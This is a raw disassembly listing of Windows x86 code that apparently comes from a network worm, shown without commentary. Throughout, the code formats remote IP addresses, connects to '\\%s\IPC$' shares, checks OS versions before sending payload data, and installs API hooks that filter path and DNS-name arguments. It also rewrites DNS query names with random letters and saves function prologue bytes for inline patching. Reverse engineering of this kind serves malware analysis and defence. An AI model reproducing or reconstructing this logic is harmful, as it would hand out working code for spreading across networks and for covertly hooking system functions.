		jz	short loc_9AAB9F
		dec	eax
		jz	short loc_9AAB9B
		dec	eax
		jz	short loc_9AAB97
		dec	eax
		jz	short loc_9AAB93
		dec	eax
		jnz	short loc_9AABAB
		push	7


loc_9AAB90:				; CODE XREF: sub_9AAB69+2Cj
					; sub_9AAB69+30j ...
		pop	eax
		jmp	short loc_9AABA1
; ---------------------------------------------------------------------------


loc_9AAB93:				; CODE XREF: sub_9AAB69+20j
		push	6
		jmp	short loc_9AAB90
; ---------------------------------------------------------------------------


loc_9AAB97:				; CODE XREF: sub_9AAB69+1Dj
		push	5
		jmp	short loc_9AAB90
; ---------------------------------------------------------------------------


loc_9AAB9B:				; CODE XREF: sub_9AAB69+1Aj
		push	2
		jmp	short loc_9AAB90
; ---------------------------------------------------------------------------


loc_9AAB9F:				; CODE XREF: sub_9AAB69+17j
		xor	eax, eax


loc_9AABA1:				; CODE XREF: sub_9AAB69+28j
		mov	ecx, [esp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AABAB:				; CODE XREF: sub_9AAB69+13j
					; sub_9AAB69+23j
		xor	eax, eax
		retn
sub_9AAB69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch

; int __cdecl sub_9AABAE(u_long	netlong,void *Src,size_t Size)

sub_9AABAE	proc near		; CODE XREF: sub_9A8F12+Dp
					; sub_9AD6D4+F2p ...

Name		= byte ptr -188h
VersionInformation= _OSVERSIONINFOA ptr	-124h
var_90		= word ptr -90h
NetworkAddr	= byte ptr -88h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
netlong		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 188h
		push	ebx
		mov	ebx, [ebp+6Ch+netlong]
		push	esi
		mov	esi, _snprintf
		mov	eax, ebx
		shr	eax, 18h
		push	eax
		movzx	eax, byte ptr [ebp+6Ch+netlong+2]
		push	eax
		movzx	eax, bh
		push	eax
		mov	eax, ebx
		and	eax, 0FFh
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		lea	eax, [ebp+6Ch+NetworkAddr]
		push	80h		; Count
		push	eax		; Dest
		call	esi ; _snprintf
		push	ebx		; netlong
		mov	[ebp+6Ch+var_9], 0
		call	sub_9A9DA6
		add	esp, 20h
		test	eax, eax
		jnz	loc_9AAD02
		or	[ebp+6Ch+var_4], 0FFFFFFFFh
		push	ebx		; netlong
		call	sub_9B0191
		movzx	eax, ax
		test	eax, eax
		pop	ecx
		mov	[ebp+6Ch+var_8], eax
		jz	loc_9AAD02
		lea	eax, [ebp+6Ch+var_4]
		push	eax
		push	ebx
		call	sub_9AAB69
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_9AAD02
		lea	eax, [ebp+6Ch+NetworkAddr]
		push	eax
		call	sub_9AA736
		pop	ecx
		push	2
		pop	ebx
		cmp	[ebp+6Ch+var_4], ebx
		jnz	loc_9AACC4
		lea	eax, [ebp+6Ch+NetworkAddr]
		push	offset Endpoint	; Endpoint
		push	eax		; NetworkAddr
		call	sub_9AA799
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9AACC4
		push	edi
		push	26h
		pop	ecx
		mov	[ebp+6Ch+VersionInformation.dwOSVersionInfoSize], 9Ch
		lea	edi, [ebp+6Ch+VersionInformation.dwMajorVersion]
		rep stosd
		lea	eax, [ebp+6Ch+VersionInformation]
		push	eax		; lpVersionInformation
		call	GetVersionExA
		cmp	[ebp+6Ch+VersionInformation.dwMajorVersion], 5
		push	6
		pop	edi
		jnz	short loc_9AAC9F
		cmp	[ebp+6Ch+VersionInformation.dwMinorVersion], 1
		jnz	short loc_9AACAA
		cmp	[ebp+6Ch+var_90], bx
		jbe	short loc_9AAC99
		push	8
		jmp	short loc_9AACA9
; ---------------------------------------------------------------------------


loc_9AAC99:				; CODE XREF: sub_9AABAE+E5j
		jnz	short loc_9AACAA
		mov	edi, ebx
		jmp	short loc_9AACAA
; ---------------------------------------------------------------------------


loc_9AAC9F:				; CODE XREF: sub_9AABAE+D6j
		cmp	[ebp+6Ch+VersionInformation.dwMajorVersion], edi
		jb	short loc_9AACAA
		push	7


loc_9AACA9:				; CODE XREF: sub_9AABAE+E9j
		pop	edi


loc_9AACAA:				; CODE XREF: sub_9AABAE+DFj
					; sub_9AABAE:loc_9AAC99j ...
		call	rand
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		xor	eax, eax
		cmp	edx, edi
		setl	al
		pop	edi
		add	eax, 3
		mov	[ebp+6Ch+var_4], eax


loc_9AACC4:				; CODE XREF: sub_9AABAE+8Fj
					; sub_9AABAE+A7j
		push	[ebp+6Ch+var_8]	; int
		push	[ebp+6Ch+var_4]	; int
		push	[ebp+6Ch+Size]	; Size
		push	[ebp+6Ch+Src]	; Src
		push	[ebp+6Ch+netlong] ; int
		call	sub_9AA8E9
		lea	eax, [ebp+6Ch+NetworkAddr]
		push	eax
		push	offset aSIpc_0	; "\\\\%s\\IPC$"
		lea	eax, [ebp+6Ch+Name]
		push	100h		; Count
		push	eax		; Dest
		call	esi ; _snprintf
		add	esp, 24h
		push	1		; fForce
		push	0		; dwFlags
		lea	eax, [ebp+6Ch+Name]
		push	eax		; lpName
		call	WNetCancelConnection2A


loc_9AAD02:				; CODE XREF: sub_9AABAE+4Cj
					; sub_9AABAE+65j ...
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		leave
		retn
sub_9AABAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AAD09(wchar_t *Str)

sub_9AAD09	proc near		; CODE XREF: sub_9AAD64+Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
Str		= dword	ptr  8

		push	0Ch
		push	offset stru_9A4070
		call	__SEH_prolog
		mov	[ebp+var_1C], 1
		xor	esi, esi
		mov	[ebp+ms_exc.disabled], esi
		cmp	[ebp+Str], esi
		jz	short loc_9AAD57
		push	offset a__	; "\\..\\"
		push	[ebp+Str]	; Str
		call	wcsstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9AAD4B
		push	[ebp+Str]	; Str
		call	wcslen
		pop	ecx
		cmp	eax, 0C8h
		jbe	short loc_9AAD57


loc_9AAD4B:				; CODE XREF: sub_9AAD09+2Fj
		mov	[ebp+var_1C], esi
		jmp	short loc_9AAD57
; ---------------------------------------------------------------------------


loc_9AAD50:				; DATA XREF: .text:stru_9A4070o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AAD54:				; DATA XREF: .text:stru_9A4070o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AAD57:				; CODE XREF: sub_9AAD09+1Bj
					; sub_9AAD09+40j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AAD09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9AAD64(wchar_t *Str,int,int,int,int,int)

sub_9AAD64	proc near		; DATA XREF: sub_9AB47D+5o

Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	lpAddress, 0
		jz	short loc_9AAD86
		push	[ebp+Str]	; Str
		call	sub_9AAD09
		test	eax, eax
		pop	ecx
		jnz	short loc_9AAD95
		push	[ebp+Str]
		call	sub_9A9067
		pop	ecx


loc_9AAD86:				; CODE XREF: sub_9AAD64+Aj
		push	57h		; dwErrCode
		call	SetLastError
		push	57h
		pop	eax
		pop	ebp
		retn	18h
; ---------------------------------------------------------------------------


loc_9AAD95:				; CODE XREF: sub_9AAD64+17j
		mov	eax, lpAddress
		add	eax, 4
		pop	ebp
		jmp	eax
sub_9AAD64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AADA0	proc near		; CODE XREF: sub_9AADCD+3Ep

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_9A4080
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		and	[ebp+ms_exc.disabled], 0
		mov	cl, [eax]
		or	cl, 70h
		mov	[eax], cl
		jmp	short loc_9AADC3
; ---------------------------------------------------------------------------


loc_9AADBC:				; DATA XREF: .text:stru_9A4080o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AADC0:				; DATA XREF: .text:stru_9A4080o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AADC3:				; CODE XREF: sub_9AADA0+1Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_9AADA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AADCD	proc near		; DATA XREF: sub_9AB49A+5o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, dword_9BB190
		test	eax, eax
		jz	short loc_9AAE16
		push	esi
		push	[ebp+arg_10]
		add	eax, 4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		cmp	[ebp+arg_4], 22h
		mov	esi, eax
		jnz	short loc_9AAE11
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_9AAE11
		cmp	[ebp+arg_8], 0
		jz	short loc_9AAE11
		cmp	[ebp+arg_C], 0
		jz	short loc_9AAE11
		push	[ebp+arg_8]
		call	sub_9AADA0
		pop	ecx


loc_9AAE11:				; CODE XREF: sub_9AADCD+27j
					; sub_9AADCD+2Dj ...
		mov	eax, esi
		pop	esi
		jmp	short loc_9AAE19
; ---------------------------------------------------------------------------


loc_9AAE16:				; CODE XREF: sub_9AADCD+Aj
		push	57h
		pop	eax


loc_9AAE19:				; CODE XREF: sub_9AADCD+47j
		pop	ebp
		retn	14h
sub_9AADCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AAE1D(char *lpFirst)

sub_9AAE1D	proc near		; CODE XREF: sub_9AAE58+Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpFirst		= dword	ptr  8

		push	0Ch
		push	offset stru_9A4090
		call	__SEH_prolog
		xor	eax, eax
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	[ebp+lpFirst], eax
		jz	short loc_9AAE4B
		push	[ebp+lpFirst]	; lpFirst
		call	sub_9A9D29
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9AAE4B
; ---------------------------------------------------------------------------


loc_9AAE44:				; DATA XREF: .text:stru_9A4090o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AAE48:				; DATA XREF: .text:stru_9A4090o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AAE4B:				; CODE XREF: sub_9AAE1D+17j
					; sub_9AAE1D+25j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AAE1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9AAE58(char	*lpFirst,int,int,int,int,int)

sub_9AAE58	proc near		; DATA XREF: sub_9AB4B7+9o

lpFirst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB194, 0
		jz	short loc_9AAE7C
		push	[ebp+lpFirst]	; lpFirst
		call	sub_9AAE1D
		test	eax, eax
		pop	ecx
		jnz	short loc_9AAE7C
		mov	eax, dword_9BB194
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9AAE7C:				; CODE XREF: sub_9AAE58+Aj
					; sub_9AAE58+17j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9AAE58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AAE90(LPCSTR	lpMultiByteStr)

sub_9AAE90	proc near		; CODE XREF: sub_9AAF13+Fp

WideCharStr	= word ptr -31Ch
First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpMultiByteStr	= dword	ptr  8

		push	30Ch
		push	offset stru_9A40A0
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+ms_exc.disabled], edi
		cmp	[ebp+lpMultiByteStr], edi
		jz	short loc_9AAF06
		mov	esi, 100h
		push	esi		; cchWideChar
		lea	eax, [ebp+WideCharStr]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	edi		; dwFlags
		push	0FDE9h		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9AAF06
		push	edi		; lpUsedDefaultChar
		push	edi		; lpDefaultChar
		push	esi		; cbMultiByte
		lea	eax, [ebp+First]
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		lea	eax, [ebp+WideCharStr]
		push	eax		; lpWideCharStr
		push	edi		; dwFlags
		push	edi		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9AAF06
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A9D29
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9AAF06
; ---------------------------------------------------------------------------


loc_9AAEFF:				; DATA XREF: .text:stru_9A40A0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AAF03:				; DATA XREF: .text:stru_9A40A0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AAF06:				; CODE XREF: sub_9AAE90+1Aj
					; sub_9AAE90+3Cj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AAE90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9AAF13(LPCSTR lpMultiByteStr,int,int,int,int,int)

sub_9AAF13	proc near		; DATA XREF: sub_9AB4B7+23o

lpMultiByteStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB198, 0
		jz	short loc_9AAF37
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		call	sub_9AAE90
		test	eax, eax
		pop	ecx
		jnz	short loc_9AAF37
		mov	eax, dword_9BB198
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9AAF37:				; CODE XREF: sub_9AAF13+Aj
					; sub_9AAF13+17j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9AAF13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AAF4B(LPCWSTR lpWideCharStr)

sub_9AAF4B	proc near		; CODE XREF: sub_9AAFA9+Fp

First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpWideCharStr	= dword	ptr  8

		push	10Ch
		push	offset stru_9A40B0
		call	__SEH_prolog
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	[ebp+lpWideCharStr], eax
		jz	short loc_9AAF9C
		push	eax		; lpUsedDefaultChar
		push	eax		; lpDefaultChar
		push	100h		; cbMultiByte
		lea	ecx, [ebp+First]
		push	ecx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	eax		; dwFlags
		push	eax		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9AAF9C
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A9D29
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9AAF9C
; ---------------------------------------------------------------------------


loc_9AAF95:				; DATA XREF: .text:stru_9A40B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AAF99:				; DATA XREF: .text:stru_9A40B0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AAF9C:				; CODE XREF: sub_9AAF4B+17j
					; sub_9AAF4B+36j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	eax, eax
		inc	eax
		call	__SEH_epilog
		retn
sub_9AAF4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9AAFA9(LPCWSTR lpWideCharStr,int,int,int,int,int)

sub_9AAFA9	proc near		; DATA XREF: sub_9AB4B7+3Ao

lpWideCharStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB19C, 0
		jz	short loc_9AAFCD
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		call	sub_9AAF4B
		test	eax, eax
		pop	ecx
		jnz	short loc_9AAFCD
		mov	eax, dword_9BB19C
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9AAFCD:				; CODE XREF: sub_9AAFA9+Aj
					; sub_9AAFA9+17j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9AAFA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AAFE1	proc near		; CODE XREF: .text:009AB057p

First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10Ch
		push	offset stru_9A40C0
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	[ebp+var_1C], ecx
		mov	[ebp+ms_exc.disabled], ecx
		cmp	eax, ecx
		jz	short loc_9AB03B
		mov	eax, [eax]
		cmp	eax, ecx
		jz	short loc_9AB03B
		push	ecx		; lpUsedDefaultChar
		push	ecx		; lpDefaultChar
		push	100h		; cbMultiByte
		lea	edx, [ebp+First]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	eax		; lpWideCharStr
		push	ecx		; dwFlags
		push	ecx		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9AB03B
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A9D29
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9AB03B
; ---------------------------------------------------------------------------


loc_9AB034:				; DATA XREF: .text:stru_9A40C0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AB038:				; DATA XREF: .text:stru_9A40C0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AB03B:				; CODE XREF: sub_9AAFE1+1Cj
					; sub_9AAFE1+22j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn	4
sub_9AAFE1	endp

; ---------------------------------------------------------------------------


loc_9AB04A:				; DATA XREF: sub_9AB4B7+51o
		cmp	dword_9BB1A0, 0
		jz	short loc_9AB06A
		push	dword ptr [esp+4]
		call	sub_9AAFE1
		test	eax, eax
		jnz	short loc_9AB06A
		mov	eax, dword_9BB1A0
		add	eax, 4
		jmp	eax
; ---------------------------------------------------------------------------


loc_9AB06A:				; CODE XREF: .text:009AB051j
					; .text:009AB05Ej
		push	5B4h
		call	SetLastError
		mov	eax, 5B4h
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AB07D	proc near		; CODE XREF: sub_9AB296+12p

Dst		= dword	ptr -244h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	234h
		push	offset stru_9A40D0
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+ms_exc.disabled], ebx
		call	GetCurrentProcessId
		push	eax		; th32ProcessID
		push	8		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	edi, eax
		mov	[ebp+var_20], edi
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9AB123
		mov	esi, 224h
		push	esi		; Size
		push	ebx		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		mov	[ebp+Dst], esi
		lea	eax, [ebp+Dst]
		push	eax		; lpme
		push	edi		; hSnapshot
		call	Module32First
		jmp	short loc_9AB10F
; ---------------------------------------------------------------------------


loc_9AB0D7:				; CODE XREF: sub_9AB07D+94j
		mov	eax, [ebp+var_230]
		cmp	[ebp+arg_0], eax
		jb	short loc_9AB102
		mov	ecx, [ebp+var_22C]
		add	ecx, eax
		cmp	[ebp+arg_0], ecx
		jnb	short loc_9AB102
		cmp	[ebp+arg_4], ebx
		jz	short loc_9AB0F9
		cmp	eax, [ebp+arg_4]
		jnz	short loc_9AB102


loc_9AB0F9:				; CODE XREF: sub_9AB07D+75j
		mov	[ebp+var_1C], 1
		jmp	short loc_9AB113
; ---------------------------------------------------------------------------


loc_9AB102:				; CODE XREF: sub_9AB07D+63j
					; sub_9AB07D+70j ...
		lea	eax, [ebp+Dst]
		push	eax		; lpme
		push	edi		; hSnapshot
		call	Module32Next


loc_9AB10F:				; CODE XREF: sub_9AB07D+58j
		test	eax, eax
		jnz	short loc_9AB0D7


loc_9AB113:				; CODE XREF: sub_9AB07D+83j
		push	edi		; hObject
		call	CloseHandle
		jmp	short loc_9AB123
; ---------------------------------------------------------------------------


loc_9AB11C:				; DATA XREF: .text:stru_9A40D0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AB120:				; DATA XREF: .text:stru_9A40D0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AB123:				; CODE XREF: sub_9AB07D+2Dj
					; sub_9AB07D+9Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AB07D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AB130	proc near		; CODE XREF: sub_9AB1C8+65p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	18h
		push	offset stru_9A40E0
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_24], edi
		mov	[ebp+ms_exc.disabled], edi
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	[ebp+var_1C], esi


loc_9AB14D:				; CODE XREF: sub_9AB130+95j
		mov	[ebp+var_20], edi


loc_9AB150:				; CODE XREF: sub_9AB130+8Bj
		cmp	edi, [ebp+arg_C]
		jnb	short loc_9AB169
		mov	al, [esi]
		test	al, al
		jnz	short loc_9AB17B
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_8]
		mov	byte ptr [edi+eax], 0


loc_9AB169:				; CODE XREF: sub_9AB130+23j
					; sub_9AB130+5Dj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_9AB17B:				; CODE XREF: sub_9AB130+29j
		movsx	ebx, al
		mov	[ebp+var_28], ebx
		inc	esi
		mov	[ebp+var_1C], esi
		mov	eax, esi
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_9AB169
		push	ebx		; Size
		push	esi		; Src
		mov	eax, [ebp+arg_8]
		add	eax, edi
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		add	esi, ebx
		mov	[ebp+var_1C], esi
		add	edi, ebx
		mov	[ebp+var_20], edi
		cmp	edi, [ebp+arg_C]
		jnb	short loc_9AB169
		mov	eax, esi
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_9AB169
		cmp	byte ptr [esi],	0
		jz	short loc_9AB150
		mov	eax, [ebp+arg_8]
		mov	byte ptr [edi+eax], 2Eh
		inc	edi
		jmp	short loc_9AB14D
sub_9AB130	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AB1C8	proc near		; CODE XREF: sub_9AB296+23p

First		= byte ptr -128h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	118h
		push	offset stru_9A40F0
		call	__SEH_prolog
		mov	esi, edx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	[ebp+var_20], esi
		mov	al, [esi+2]
		test	al, 78h
		jnz	loc_9AB28C
		test	al, 1
		jz	loc_9AB28C
		cmp	[esi+6], di
		jnz	loc_9AB28C
		cmp	[esi+8], di
		jnz	loc_9AB28C
		cmp	[esi+0Ah], di
		jnz	short loc_9AB28C
		cmp	byte ptr [esi+ecx-5], 0
		jnz	short loc_9AB28C
		cmp	dword ptr [esi+ecx-4], 1000100h
		jnz	short loc_9AB28C
		push	104h
		lea	eax, [ebp+First]
		push	eax
		push	ecx
		push	esi
		call	sub_9AB130
		add	esp, 10h
		test	eax, eax
		jz	short loc_9AB28C
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A9D29
		pop	ecx
		test	eax, eax
		jz	short loc_9AB28C
		lea	eax, [ebp+First]
		push	eax		; Str
		call	strlen
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_24], ebx
		mov	[ebp+var_1C], edi


loc_9AB25F:				; CODE XREF: sub_9AB1C8+B6j
		cmp	[ebp+var_1C], ebx
		jnb	short loc_9AB280
		call	rand
		xor	edx, edx
		push	1Ah
		pop	ecx
		div	ecx
		add	edx, 61h
		mov	eax, [ebp+var_1C]
		mov	[eax+esi+0Dh], dl
		inc	[ebp+var_1C]
		jmp	short loc_9AB25F
; ---------------------------------------------------------------------------


loc_9AB280:				; CODE XREF: sub_9AB1C8+9Aj
		mov	[esi+0Ch], bl
		jmp	short loc_9AB28C
; ---------------------------------------------------------------------------


loc_9AB285:				; DATA XREF: .text:stru_9A40F0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AB289:				; DATA XREF: .text:stru_9A40F0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AB28C:				; CODE XREF: sub_9AB1C8+1Ej
					; sub_9AB1C8+26j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_9AB1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AB296	proc near		; DATA XREF: sub_9AB535+1Ao

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 12h
		jl	short loc_9AB2BE
		push	dword_9BB1A8
		push	dword ptr [ebp+4]
		call	sub_9AB07D
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9AB2BE
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		call	sub_9AB1C8


loc_9AB2BE:				; CODE XREF: sub_9AB296+7j
					; sub_9AB296+1Bj
		mov	eax, dword_9BB1A4
		add	eax, 4
		pop	ebp
		jmp	eax
sub_9AB296	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AB2C9(LPVOID	lpAddress)

sub_9AB2C9	proc near		; CODE XREF: sub_9AB408+51p

Src		= byte ptr -40h
var_3F		= dword	ptr -3Fh
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
nPriority	= dword	ptr -28h
flOldProtect	= dword	ptr -24h
var_20		= dword	ptr -20h
hThread		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpAddress	= dword	ptr  8

		push	30h
		push	offset stru_9A4100
		call	__SEH_prolog
		mov	esi, ecx
		mov	edi, edx
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		call	GetCurrentThread
		mov	[ebp+hThread], eax
		push	eax		; hThread
		call	GetThreadPriority
		mov	[ebp+nPriority], eax
		mov	[ebp+ms_exc.disabled], ebx
		push	2Ch		; Size
		push	ebx		; Val
		push	esi		; Dst
		call	memset
		add	esp, 0Ch
		mov	[esi+28h], edi
		mov	ecx, [ebp+lpAddress]
		mov	[esi+24h], ecx
		mov	[ebp+var_20], ecx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_38], 5


loc_9AB316:				; CODE XREF: sub_9AB2C9+9Fj
		cmp	ebx, 5
		jge	short loc_9AB375
		mov	eax, [ebp+var_20]
		add	eax, ebx
		push	eax
		call	loc_9B7EA0
		mov	[ebp+var_30], eax
		lea	ecx, [ebx+esi+4]
		push	eax		; Size
		mov	eax, [ebp+var_20]
		add	eax, ebx
		push	eax		; Src
		push	ecx		; Dst
		call	memcpy
		add	esp, 10h
		mov	al, [ebx+esi+4]
		mov	cl, al
		and	cl, 0FEh
		cmp	cl, 0E8h
		jz	short loc_9AB36A
		cmp	al, 0FFh
		jnz	short loc_9AB35B
